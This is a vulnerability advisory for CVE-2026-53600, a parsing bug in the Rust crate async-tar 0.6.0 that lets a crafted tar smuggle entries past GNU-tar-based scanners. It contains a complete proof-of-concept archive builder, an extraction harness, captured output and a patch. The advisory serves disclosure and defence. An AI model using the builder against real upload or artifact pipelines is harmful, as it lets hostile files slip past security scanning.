CVE-2026-53600

Summary

async-tar v0.6.0 mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary.

An attacker who can influence a tar stream that an async-tar consumer extracts can construct an x → L → file sequence whose entry list and on-disk result differ between async-tar and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by async-tar as a different file with different bytes (e.g. an executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage.

Affected code

Package: async-tar (crates.io). Affected version: 0.6.0 (latest release) and current main HEAD. Both lack the extension-header guard.

src/archive.rs, poll_next_raw (line numbers from the v0.6.0 tag, commit 45814b19295b7398e119c90c57d8c8bf70a798b6):

    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size

and a few lines further down the same function:

    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size

The caller loop in src/archive.rs (Entries::poll_next) buffers a PAX local extension into current_pax_extensions and then calls poll_next_raw with current_pax_extensions.as_deref() for the next raw header. When that next raw header is an intermediary GNU longname (handled by the is_gnu_longname() branch a few lines later), the PAX size is applied to it, so *next advances by the spoofed size rather than the L header's own declared size. That is the desync.

The buffered PAX records are intended to apply only to the following file entry; the missing check is whether the raw header currently being sized is itself an extension header (L/K/x/g).

Impact

Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with async-tar (e.g. a server endpoint that unpacks an uploaded .tar/.tar.gz, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will:

• materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and
• omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive with one parser and extracting with async-tar: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while async-tar writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts.

How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading archives: Archive::new(reader).entries() returns an Entries stream whose poll_next drives poll_next_raw for every header. Any consumer that iterates entries (or calls unpack/unpack_in on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The reader need not be a file — it is any AsyncRead, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (x) carrying a size record immediately followed by an intermediary GNU longname (L) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded .tar/.tar.gz bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines.

Proof of concept

A standalone Rust consumer binary that links the published crates.io async-tar = "=0.6.0" (default-features = false, features = ["runtime-tokio"]) and runs the real Archive::new(...).entries() extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list async-tar surfaces. A second binary hand-crafts the malicious and benign tar byte streams.

Malicious archive geometry (block = 512 bytes):

B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)

GNU tar honours the L header's own declared size (1 block) for the longname and ignores the buffered PAX size, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. async-tar mis-applies the PAX size (2 blocks) to the L header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled hidden_payload.sh body (B6).

Tar-builder source (mktar.rs):

use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}

Consumer source (main.rs, mirrors a real Archive::entries() extraction loop):

use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}

Cargo.toml:

[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"

End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output:

$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

# ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh
# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

# ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt
#!/bin/sh
# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner

Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; async-tar writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled #!/bin/sh body is content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: x applies path to the following file, no intermediary L):

$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2

GNU tar and async-tar produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the x → L → file desync sequence.

Fix

Apply the buffered PAX records (and the size/uid/gid overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (L), GNU longlink (K), and PAX local/global (x/g) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class.

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }

Fix-verify, captured verbatim. The patched async-tar (guard added) re-run against the same mal.tar:

$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh

With the guard, async-tar's view converges with GNU tar's: it surfaces GNU_SEES_THIS.txt with the opaque B5 bytes (hidden_payload.sh...) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated.

Fix PR

A fix PR adding the is_extension_header guard to poll_next_raw in src/archive.rs is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the Fix section above (no behavioural change for well-formed archives; only intermediary L/K/x/g headers stop inheriting a following PAX size).

Credit

Reported by tonghuaroot.